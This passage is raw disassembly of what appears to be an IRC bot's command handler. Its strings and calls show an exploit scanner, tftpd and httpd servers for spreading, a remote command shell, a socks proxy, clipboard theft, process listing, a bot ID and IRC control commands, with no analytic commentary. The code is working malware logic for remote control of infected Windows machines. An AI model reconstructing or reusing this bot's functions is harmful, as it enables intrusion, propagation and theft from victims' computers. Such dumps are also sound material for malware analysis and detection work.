offset a_e_1_0bExplo_3 ; ".e.(1.0b) ( exploit.m.d.l ) .. %s Po"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 8 push eax call sub_4132BE add esp, 2Ch mov [ebp+var_210], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_330] push ebx push eax push offset sub_406782 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_210] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_41150B loc_4114F9: ; CODE XREF: sub_40CC09+4900j cmp [ebp+var_1EC], ebx jnz short loc_411526 push 32h call ds:dword_41F050 ; Sleep jmp short loc_4114F9 ; --------------------------------------------------------------------------- loc_41150B: ; CODE XREF: sub_40CC09+48EEj call ds:off_41F06C push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bExplo_2 ; ".e.(1.0b) ( exploit.m.d.l ) .. Faile"... push eax call sub_413812 add esp, 0Ch loc_411526: ; CODE XREF: sub_40CC09+48F6j cmp [ebp+var_8], ebx jnz short loc_411545 push ebx lea eax, [ebp+var_1C4] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h loc_411545: ; CODE XREF: sub_40CC09+4920j lea eax, [ebp+var_1C4] push eax call sub_409833 pop ecx loc_411552: ; CODE XREF: sub_40CC09+46DEj add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_41129D jmp loc_40CFCD ; --------------------------------------------------------------------------- loc_411566: ; CODE XREF: sub_40CC09+2CA1j ; sub_40CC09+475Aj push offset a_e_1_0bExplo_4 ; ".e.(1.0b) ( exploit.m.d.l ) .. Faile"... jmp loc_411949 ; --------------------------------------------------------------------------- loc_411570: ; CODE XREF: sub_40CC09+16DBj ; sub_40CC09+16F0j push 4 call sub_413506 test eax, eax pop ecx jle short loc_411594 push offset a_e_1_0bTftpd_m ; ".e.(1.0b) ( tftpd.m.d.l ) .. Already"... loc_411581: ; CODE XREF: sub_40CC09+1AD6j ; sub_40CC09+1BE1j lea eax, [ebp+var_1C4] push eax call sub_413812 pop ecx pop ecx jmp loc_410436 ; --------------------------------------------------------------------------- loc_411594: ; CODE XREF: sub_40CC09+4971j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_4115B7 push eax mov edi, 104h lea eax, [ebp+var_704] push edi push eax call sub_413D8A add esp, 0Ch jmp short loc_4115CB ; --------------------------------------------------------------------------- loc_4115B7: ; CODE XREF: sub_40CC09+4994j mov edi, 104h lea eax, [ebp+var_704] push edi push eax push ebx call ds:dword_41F060 ; GetModuleFileNameA loc_4115CB: ; CODE XREF: sub_40CC09+49ACj mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_4115DB mov esi, offset aTilehome_com ; "Tilehome.com" loc_4115DB: ; CODE XREF: sub_40CC09+49CBj push esi lea eax, [ebp+var_600] push edi push eax call sub_413D8A mov eax, dword_42A320 push 7Fh push [ebp+var_8C] mov [ebp+var_4F4], eax mov eax, [ebp+arg_4] mov [ebp+var_4F8], ebx mov [ebp+var_708], eax lea eax, [ebp+var_4F0] push eax call sub_415140 mov eax, [ebp+var_4] mov [ebp+var_470], eax mov eax, [ebp+var_8] mov [ebp+var_46C], eax lea eax, [ebp+var_600] push eax lea eax, [ebp+var_704] push eax lea eax, [ebp+var_1C4] push [ebp+var_4F4] push offset a_e_1_0bTftpd_0 ; ".e.(1.0b) ( tftpd.m.d.l ) .. Server "... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 4 push eax call sub_4132BE add esp, 38h mov [ebp+var_4FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_708] push ebx push eax push offset sub_405A21 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_4FC] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_4116AB loc_411695: ; CODE XREF: sub_40CC09+4AA0j cmp [ebp+var_468], ebx jnz loc_410436 push 32h call ds:dword_41F050 ; Sleep jmp short loc_411695 ; --------------------------------------------------------------------------- loc_4116AB: ; CODE XREF: sub_40CC09+4A8Aj call ds:off_41F06C push eax push offset a_e_1_0bTftpd_1 ; ".e.(1.0b) ( tftpd.m.d.l ) .. Failed "... jmp loc_4120F8 ; --------------------------------------------------------------------------- loc_4116BC: ; CODE XREF: sub_40CC09+16B1j ; sub_40CC09+16C6j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4116DB push edi call sub_413D7F test eax, eax pop ecx jz short loc_4116DB push edi call sub_413D7F pop ecx jmp short loc_4116E0 ; --------------------------------------------------------------------------- loc_4116DB: ; CODE XREF: sub_40CC09+4ABCj ; sub_40CC09+4AC7j mov eax, dword_42A324 loc_4116E0: ; CODE XREF: sub_40CC09+4AD0j mov esi, [ebp+esi+var_8C] mov [ebp+var_484], eax xor eax, eax cmp [ebp+var_8B0], bl setz al cmp esi, ebx mov [ebp+var_470], eax jz short loc_411713 lea eax, [ebp+var_588] push esi push eax call sub_413812 pop ecx pop ecx jmp short loc_41173E ; --------------------------------------------------------------------------- loc_411713: ; CODE XREF: sub_40CC09+4AF7j lea eax, [ebp+var_2E8] push 104h push eax call ds:dword_41F0FC ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_1D4] push ebx push eax lea eax, [ebp+var_2E8] push eax call sub_415628 add esp, 14h loc_41173E: ; CODE XREF: sub_40CC09+4B08j lea eax, [ebp+var_588] push eax call sub_413E90 cmp [ebp+eax+var_589], 5Ch pop ecx jnz short loc_411769 lea eax, [ebp+var_588] push eax call sub_413E90 pop ecx mov [ebp+eax+var_589], bl loc_411769: ; CODE XREF: sub_40CC09+4B4Aj push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_810] mov [ebp+var_814], esi push 80h push eax call sub_413D8A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_474], eax lea eax, [ebp+var_588] mov [ebp+var_478], edi push eax push [ebp+var_484] push esi call sub_408A5D pop ecx push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bHttpd_m ; ".e.(1.0b) ( httpd.m.d.l ) .. Server "... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 3 push eax call sub_4132BE add esp, 20h mov [ebp+var_47C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_814] push ebx push eax push offset sub_4048F1 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_47C] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_41181D loc_41180B: ; CODE XREF: sub_40CC09+4C12j cmp [ebp+var_468], ebx jnz short loc_411838 push 32h call ds:dword_41F050 ; Sleep jmp short loc_41180B ; --------------------------------------------------------------------------- loc_41181D: ; CODE XREF: sub_40CC09+4C00j call ds:off_41F06C push eax push offset a_e_1_0bHttpd_0 ; ".e.(1.0b) ( httpd.m.d.l ) .. Failed "... loc_411829: ; CODE XREF: sub_40CC09+31BBj ; sub_40CC09+32B5j lea eax, [ebp+var_1C4] push eax call sub_413812 add esp, 0Ch loc_411838: ; CODE XREF: sub_40CC09+319Fj ; sub_40CC09+3299j ... cmp [ebp+var_8], ebx jnz loc_411B4A push ebx push edi jmp loc_40F660 ; --------------------------------------------------------------------------- loc_411848: ; CODE XREF: sub_40CC09+1687j ; sub_40CC09+169Cj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_41185B push esi call sub_413D7F jmp short loc_411862 ; --------------------------------------------------------------------------- loc_41185B: ; CODE XREF: sub_40CC09+4C48j push 8 call sub_413525 loc_411862: ; CODE XREF: sub_40CC09+4C50j cmp eax, ebx pop ecx jz loc_41217B push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_405FE2 loc_41187D: ; CODE XREF: sub_40CC09+5112j add esp, 10h jmp loc_41217B ; --------------------------------------------------------------------------- loc_411885: ; CODE XREF: sub_40CC09+165Dj ; sub_40CC09+1672j mov eax, dword_44CC14 cmp eax, ebx jz short loc_4118A2 call eax ; DnsFlushResolverCache test eax, eax jz short loc_41189B push offset a_e_1_0bFlushdn ; ".e.(1.0b) ( flushdns.m.d.l ) .. DNS "... jmp short loc_4118BE ; --------------------------------------------------------------------------- loc_41189B: ; CODE XREF: sub_40CC09+4C89j push offset a_e_1_0bFlush_0 ; ".e.(1.0b) ( flushdns.m.d.l ) .. Fail"... jmp short loc_4118BE ; --------------------------------------------------------------------------- loc_4118A2: ; CODE XREF: sub_40CC09+4C83j push offset a_e_1_0bFlush_1 ; ".e.(1.0b) ( flushdns.m.d.l ) .. Fail"... jmp short loc_4118BE ; --------------------------------------------------------------------------- loc_4118A9: ; CODE XREF: sub_40CC09+1633j ; sub_40CC09+1648j call sub_40897F test eax, eax jz short loc_4118B9 push offset a_e_1_0bFlush_2 ; ".e.(1.0b) ( flushdns.m.d.l ) .. ARP "... jmp short loc_4118BE ; --------------------------------------------------------------------------- loc_4118B9: ; CODE XREF: sub_40CC09+4CA7j push offset a_e_1_0bFlush_3 ; ".e.(1.0b) ( flushdns.m.d.l ) .. Fail"... loc_4118BE: ; CODE XREF: sub_40CC09+4C90j ; sub_40CC09+4C97j ... lea eax, [ebp+var_1C4] push 0FFh push eax call sub_413D8A jmp loc_410678 ; --------------------------------------------------------------------------- loc_4118D4: ; CODE XREF: sub_40CC09+1609j ; sub_40CC09+161Ej cmp [ebp+var_8], ebx jnz short loc_4118F3 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h loc_4118F3: ; CODE XREF: sub_40CC09+4CCEj push ebx push [ebp+var_4] call sub_40857E push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 push offset a_e_1_0bEnz__26 ; ".e.(1.0b) ( enz.m.d.l ) .. Get Clipb"... jmp loc_411BED ; --------------------------------------------------------------------------- loc_411915: ; CODE XREF: sub_40CC09+1529j ; sub_40CC09+153Ej push 7 call sub_413506 test eax, eax pop ecx jle short loc_411928 push offset a_e_1_0bCmd_m_1 ; ".e.(1.0b) ( cmd.m.d.l ) .. Remote sh"... jmp short loc_411949 ; --------------------------------------------------------------------------- loc_411928: ; CODE XREF: sub_40CC09+4D16j push [ebp+var_8C] push [ebp+arg_4] call sub_4090ED pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_411944 push offset a_e_1_0bCmd_m_2 ; ".e.(1.0b) ( cmd.m.d.l ) .. Couldn't "... jmp short loc_411949 ; --------------------------------------------------------------------------- loc_411944: ; CODE XREF: sub_40CC09+4D32j push offset a_e_1_0bCmd_m_3 ; ".e.(1.0b) ( cmd.m.d.l ) .. Remote sh"... loc_411949: ; CODE XREF: sub_40CC09+27F4j ; sub_40CC09+2924j ... lea eax, [ebp+var_1C4] push eax call sub_413812 pop ecx pop ecx loc_411957: ; CODE XREF: sub_40CC09+28FEj ; sub_40CC09+2EC2j ... cmp [ebp+var_8], ebx jnz loc_411B4A push ebx push [ebp+var_4] loc_411964: ; CODE XREF: sub_40CC09+34F1j lea eax, [ebp+var_1C4] push eax push [ebp+var_8C] push [ebp+arg_4] loc_411974: ; CODE XREF: sub_40CC09+2A65j call sub_40B2B5 add esp, 14h jmp loc_411B4A ; --------------------------------------------------------------------------- loc_411981: ; CODE XREF: sub_40CC09+14FFj ; sub_40CC09+1514j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407F9F jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_41199A: ; CODE XREF: sub_40CC09+14D5j ; sub_40CC09+14EAj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40AC2A jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_4119B7: ; CODE XREF: sub_40CC09+14ABj ; sub_40CC09+14C0j or edi, 0FFFFFFFFh call ds:dword_41F044 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_4119E0 push esi call sub_413D7F pop ecx mov edi, eax loc_4119E0: ; CODE XREF: sub_40CC09+4DCCj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4119F9 cmp edi, 0FFFFFFFFh jnz loc_41217B loc_4119F9: ; CODE XREF: sub_40CC09+4DE5j push ebx call sub_4092A2 push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz__27 ; ".e.(1.0b) ( enz.m.d.l ) .. Uptime: %"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 lea eax, [ebp+var_1C4] push eax call sub_409833 jmp loc_40FBF9 ; --------------------------------------------------------------------------- loc_411A3B: ; CODE XREF: sub_40CC09+1481j ; sub_40CC09+1496j push 1Fh call sub_413506 test eax, eax pop ecx jle short loc_411A64 cmp [ebp+var_8], ebx jnz loc_40CFCD push ebx push [ebp+var_4] push offset a_e_1_0bProce_5 ; ".e.(1.0b) ( process.m.d.l ) .. Alrea"... push [ebp+var_8C] jmp loc_40D52B ; --------------------------------------------------------------------------- loc_411A64: ; CODE XREF: sub_40CC09+4E3Cj push [ebp+var_8C] lea eax, [ebp+var_3DC] push 80h push eax call sub_413D8A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_3E0], eax mov eax, [ebp+var_4] mov [ebp+var_354], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_350], eax mov [ebp+var_358], ebx jz short loc_411AC5 push esi push offset aFull ; "full" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_411AC5 mov [ebp+var_358], 1 loc_411AC5: ; CODE XREF: sub_40CC09+4E9Fj ; sub_40CC09+4EB0j lea eax, [ebp+var_1C4] push offset a_e_1_0bProce_6 ; ".e.(1.0b) ( process.m.d.l ) .. Procc"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 1Fh push eax call sub_4132BE add esp, 14h mov [ebp+var_35C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3E0] push ebx push eax push offset sub_4125E7 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_35C] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_411B2F loc_411B1D: ; CODE XREF: sub_40CC09+4F24j cmp [ebp+var_34C], ebx jnz short loc_411B4A push 32h call ds:dword_41F050 ; Sleep jmp short loc_411B1D ; --------------------------------------------------------------------------- loc_411B2F: ; CODE XREF: sub_40CC09+4F12j call ds:off_41F06C push eax push offset a_e_1_0bProce_7 ; ".e.(1.0b) ( process.m.d.l ) .. Faile"... loc_411B3B: ; CODE XREF: sub_40CC09+4280j lea eax, [ebp+var_1C4] push eax call sub_413812 add esp, 0Ch loc_411B4A: ; CODE XREF: sub_40CC09+2A4Dj ; sub_40CC09+34E9j ... lea eax, [ebp+var_1C4] push eax call sub_409833 jmp loc_40D1BC ; --------------------------------------------------------------------------- loc_411B5B: ; CODE XREF: sub_40CC09+1457j ; sub_40CC09+146Cj cmp [ebp+var_8], ebx jnz short loc_411B7A push ebx push [ebp+var_4] push offset a_e_1_0bEnz__28 ; ".e.(1.0b) ( enz.m.d.l ) .. Removing "... push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h loc_411B7A: ; CODE XREF: sub_40CC09+4F55j push [ebp+arg_4] call dword_44CD70 ; closesocket call dword_44CC48 ; WSACleanup call sub_408701 push ebx call ds:off_41F104 loc_411B95: ; CODE XREF: sub_40CC09+142Dj ; sub_40CC09+1442j push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_4093C1 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 push offset a_e_1_0bEnz__29 ; ".e.(1.0b) ( enz.m.d.l ) .. System In"... jmp short loc_411BED ; --------------------------------------------------------------------------- loc_411BC0: ; CODE XREF: sub_40CC09+1403j ; sub_40CC09+1418j push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_409675 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 push offset a_e_1_0bEnz__30 ; ".e.(1.0b) ( enz.m.d.l ) .. Network I"... loc_411BED: ; CODE XREF: sub_40CC09+4D07j ; sub_40CC09+4FB5j call sub_409833 jmp loc_41090C ; --------------------------------------------------------------------------- loc_411BF7: ; CODE XREF: sub_40CC09+13D9j ; sub_40CC09+13EEj push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4098D3 jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_411C10: ; CODE XREF: sub_40CC09+13AFj ; sub_40CC09+13C4j cmp [ebp+var_C], ebx mov [ebp+var_274], bl jz short loc_411C4F mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_411C4F push esi push [ebp+var_C] call sub_413DE0 pop ecx cmp eax, ebx pop ecx jz short loc_411C4F push eax push offset aS_2 ; "%s" lea eax, [ebp+var_274] push 80h push eax call sub_413D8A add esp, 10h loc_411C4F: ; CODE XREF: sub_40CC09+5010j ; sub_40CC09+501Bj ... push [ebp+var_8C] lea eax, [ebp+var_2F4] push 80h push eax call sub_413D8A mov eax, [ebp+arg_4] push offset a_e_1_0bLog_m_d ; ".e.(1.0b) ( log.m.d.l ) .. Listing l"... mov [ebp+var_2F8], eax mov eax, [ebp+var_4] mov [ebp+var_1F0], eax mov eax, [ebp+var_8] mov [ebp+var_1EC], eax lea eax, [ebp+var_1C4] push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 1Dh push eax call sub_4132BE add esp, 20h mov [ebp+var_1F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2F8] push ebx push eax push offset sub_409913 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_1F4] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_411CEF loc_411CD9: ; CODE XREF: sub_40CC09+50E4j cmp [ebp+var_1E8], ebx jnz loc_40CFCD push 32h call ds:dword_41F050 ; Sleep jmp short loc_411CD9 ; --------------------------------------------------------------------------- loc_411CEF: ; CODE XREF: sub_40CC09+50CEj call ds:off_41F06C push eax push offset a_e_1_0bLog_m_0 ; ".e.(1.0b) ( log.m.d.l ) .. Failed to"... jmp loc_40D1B6 ; --------------------------------------------------------------------------- loc_411D00: ; CODE XREF: sub_40CC09+1385j ; sub_40CC09+139Aj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4097BB push offset a_e_1_0bEnz__31 ; ".e.(1.0b) ( enz.m.d.l ) .. Alias lis"... call sub_409833 jmp loc_41187D ; --------------------------------------------------------------------------- loc_411D20: ; CODE XREF: sub_40CC09+135Bj ; sub_40CC09+1370j push [ebp+var_8C] lea eax, [ebp+var_3DC] push 80h push eax call sub_413D8A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_3E0], eax mov eax, [ebp+var_4] mov [ebp+var_354], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_350], eax jz short loc_411D7A push offset off_4319A8 push esi call sub_413C30 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_358], eax jmp short loc_411D80 ; --------------------------------------------------------------------------- loc_411D7A: ; CODE XREF: sub_40CC09+5155j mov [ebp+var_358], ebx loc_411D80: ; CODE XREF: sub_40CC09+516Fj lea eax, [ebp+var_1C4] push offset a_e_1_0bThrea_3 ; ".e.(1.0b) ( threads.m.d.l ) .. List "... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 20h push eax call sub_4132BE add esp, 14h mov [ebp+var_35C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3E0] push ebx push eax push offset sub_413329 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_35C] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_411DEA loc_411DD8: ; CODE XREF: sub_40CC09+51DFj cmp [ebp+var_34C], ebx jnz short loc_411E05 push 32h call ds:dword_41F050 ; Sleep jmp short loc_411DD8 ; --------------------------------------------------------------------------- loc_411DEA: ; CODE XREF: sub_40CC09+51CDj call ds:off_41F06C push eax push offset a_e_1_0bThrea_4 ; ".e.(1.0b) ( threads.m.d.l ) .. Faile"... loc_411DF6: ; CODE XREF: sub_40CC09+4149j lea eax, [ebp+var_1C4] push eax call sub_413812 add esp, 0Ch loc_411E05: ; CODE XREF: sub_40CC09+25ACj ; sub_40CC09+25CEj ... lea eax, [ebp+var_1C4] push eax jmp loc_40E1F8 ; --------------------------------------------------------------------------- loc_411E11: ; CODE XREF: sub_40CC09+12DFj ; sub_40CC09+12F4j push offset aNt801 ; "nt801" lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz__32 ; ".e.(1.0b) ( enz.m.d.l ) .. Bot ID: %"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 20h jmp loc_4106B1 ; --------------------------------------------------------------------------- loc_411E48: ; CODE XREF: sub_40CC09+12B5j ; sub_40CC09+12CAj push dword_741F68 call sub_4092A2 push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz__33 ; ".e.(1.0b) ( enz.m.d.l ) .. Status: R"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 24h jmp loc_4106B1 ; --------------------------------------------------------------------------- loc_411E86: ; CODE XREF: sub_40CC09+128Bj ; sub_40CC09+12A0j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_411EB8 cmp [ebp+var_C], ebx jz short loc_411EC7 push esi push [ebp+var_C] call sub_413DE0 pop ecx cmp eax, ebx pop ecx jz short loc_411EC7 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40B26F add esp, 0Ch jmp short loc_411EC7 ; --------------------------------------------------------------------------- loc_411EB8: ; CODE XREF: sub_40CC09+5286j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40B26F pop ecx pop ecx loc_411EC7: ; CODE XREF: sub_40CC09+528Bj ; sub_40CC09+529Aj ... push 0FFFFFFFEh jmp loc_40CFCF ; --------------------------------------------------------------------------- loc_411ECE: ; CODE XREF: sub_40CC09+1261j ; sub_40CC09+1276j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40B26F push offset a_e_1_0bEnz__34 ; ".e.(1.0b) ( enz.m.d.l ) .. Disconnec"... call sub_409833 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40CFD0 ; --------------------------------------------------------------------------- loc_411EF0: ; CODE XREF: sub_40CC09+1237j ; sub_40CC09+124Cj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40B26F push offset a_e_1_0bEnz__35 ; ".e.(1.0b) ( enz.m.d.l ) .. Reconnect"... call sub_409833 add esp, 0Ch xor eax, eax jmp loc_40CFD0 ; --------------------------------------------------------------------------- loc_411F11: ; CODE XREF: sub_40CC09+120Dj ; sub_40CC09+1222j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_405F18 jmp loc_410875 ; --------------------------------------------------------------------------- loc_411F27: ; CODE XREF: sub_40CC09+1168j ; sub_40CC09+117Dj push [ebp+esi+var_90] push 1Fh push offset aProcessList ; "Process list" push offset a_p_ro_c___ ; ".p.ro.c..." jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_411F3F: ; CODE XREF: sub_40CC09+F93j ; sub_40CC09+FA8j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_411F5E push edi call sub_413D7F test eax, eax pop ecx jz short loc_411F5E push edi call sub_413D7F pop ecx jmp short loc_411F63 ; --------------------------------------------------------------------------- loc_411F5E: ; CODE XREF: sub_40CC09+533Fj ; sub_40CC09+534Aj mov eax, dword_42A31C loc_411F63: ; CODE XREF: sub_40CC09+5353j mov esi, [ebp+esi+var_8C] mov [ebp+var_364], eax cmp esi, ebx jz short loc_411F88 push esi loc_411F75: ; CODE XREF: sub_40CC09+538Ej lea eax, [ebp+var_374] push 10h push eax call sub_413D8A add esp, 0Ch jmp short loc_411F9F ; --------------------------------------------------------------------------- loc_411F88: ; CODE XREF: sub_40CC09+5369j cmp [ebp+var_8B3], bl jz short loc_411F99 lea eax, [ebp+var_C4] push eax jmp short loc_411F75 ; --------------------------------------------------------------------------- loc_411F99: ; CODE XREF: sub_40CC09+5385j mov [ebp+var_374], bl loc_411F9F: ; CODE XREF: sub_40CC09+537Dj mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_358], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_354], eax lea eax, [ebp+var_3F4] push eax mov [ebp+var_3F8], esi call sub_413D8A add esp, 0Ch push [ebp+var_364] push esi call sub_408A5D pop ecx push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bSocks_m ; ".e.(1.0b) ( socks.m.d.l ) .. Server "... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 11h push eax call sub_4132BE add esp, 1Ch mov [ebp+var_360], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8] push ebx push eax push offset sub_406DED push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_360] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_412050 loc_41203A: ; CODE XREF: sub_40CC09+5445j cmp [ebp+var_350], ebx jnz loc_40CFCD push 32h call ds:dword_41F050 ; Sleep jmp short loc_41203A ; --------------------------------------------------------------------------- loc_412050: ; CODE XREF: sub_40CC09+542Fj call ds:off_41F06C push eax push offset a_e_1_0bSocks_0 ; ".e.(1.0b) ( socks.m.d.l ) .. Failed "... jmp loc_40D1B6 ; --------------------------------------------------------------------------- loc_412061: ; CODE XREF: sub_40CC09+F69j ; sub_40CC09+F7Ej mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_4120BB push esi call sub_413D7F cmp eax, ebx pop ecx jl short loc_4120B3 cmp eax, 2 jge short loc_4120B3 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_4120AB lea eax, [esi+1] push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz_m_1 ; ".e.(1.0b) ( enz.m.d.l ) .. User %s l"... push eax call sub_413812 add esp, 0Ch mov [esi], bl jmp loc_410436 ; --------------------------------------------------------------------------- loc_4120AB: ; CODE XREF: sub_40CC09+5481j push eax push offset a_e_1_0bEnz__36 ; ".e.(1.0b) ( enz.m.d.l ) .. No user l"... jmp short loc_4120F8 ; --------------------------------------------------------------------------- loc_4120B3: ; CODE XREF: sub_40CC09+546Cj ; sub_40CC09+5471j push eax push offset a_e_1_0bEnz__37 ; ".e.(1.0b) ( enz.m.d.l ) .. Invalid l"... jmp short loc_4120F8 ; --------------------------------------------------------------------------- loc_4120BB: ; CODE XREF: sub_40CC09+5461j mov edi, [ebp+arg_18] xor esi, esi loc_4120C0: ; CODE XREF: sub_40CC09+54D3j push [ebp+var_94] push edi call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_4120E3 inc esi add edi, 80h cmp esi, 2 jl short loc_4120C0 jmp loc_410436 ; --------------------------------------------------------------------------- loc_4120E3: ; CODE XREF: sub_40CC09+54C7j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset a_e_1_0bEnz_m_1 ; ".e.(1.0b) ( enz.m.d.l ) .. User %s l"... loc_4120F8: ; CODE XREF: sub_40CC09+1BA9j ; sub_40CC09+1BD7j ... lea eax, [ebp+var_1C4] push eax call sub_413812 add esp, 0Ch jmp loc_410436 ; --------------------------------------------------------------------------- loc_41210C: ; CODE XREF: sub_40CC09+F3Fj ; sub_40CC09+F54j push [ebp+var_90] push offset dword_434504 call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_41217B call sub_413487 push ebx call ds:off_41F104 loc_41212E: ; CODE XREF: sub_40CC09+F15j ; sub_40CC09+F2Aj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_8A4], bl setnz al push eax lea eax, [ebp+var_464] push dword_42A33C push eax call sub_412AB7 lea eax, [ebp+var_464] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40B26F lea eax, [ebp+var_464] push eax push offset a_e_1_0bEnz__38 ; ".e.(1.0b) ( enz.m.d.l ) .. Random ni"... call sub_4098A7 loc_412178: ; CODE XREF: sub_40CC09+2791j add esp, 24h loc_41217B: ; CODE XREF: sub_40CC09+65Cj ; sub_40CC09+668j ... mov eax, [ebp+arg_24] jmp loc_40CFD0 ; --------------------------------------------------------------------------- loc_412183: ; CODE XREF: sub_40CC09+B15j ; sub_40CC09+B2Aj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40CFCD cmp [ebp+var_98], ebx jnz loc_40CFCD push offset asc_42D588 ; "!" push [ebp+var_94] call sub_4150A0 mov esi, eax push offset dword_438A0C push ebx inc esi call sub_4150A0 push offset asc_4316C8 ; "~" push eax call sub_4150A0 push [ebp+arg_0] mov edi, eax push offset aHi_0 ; "hi" call sub_413C30 add esp, 20h test eax, eax jz short loc_41222B lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40B26F lea eax, 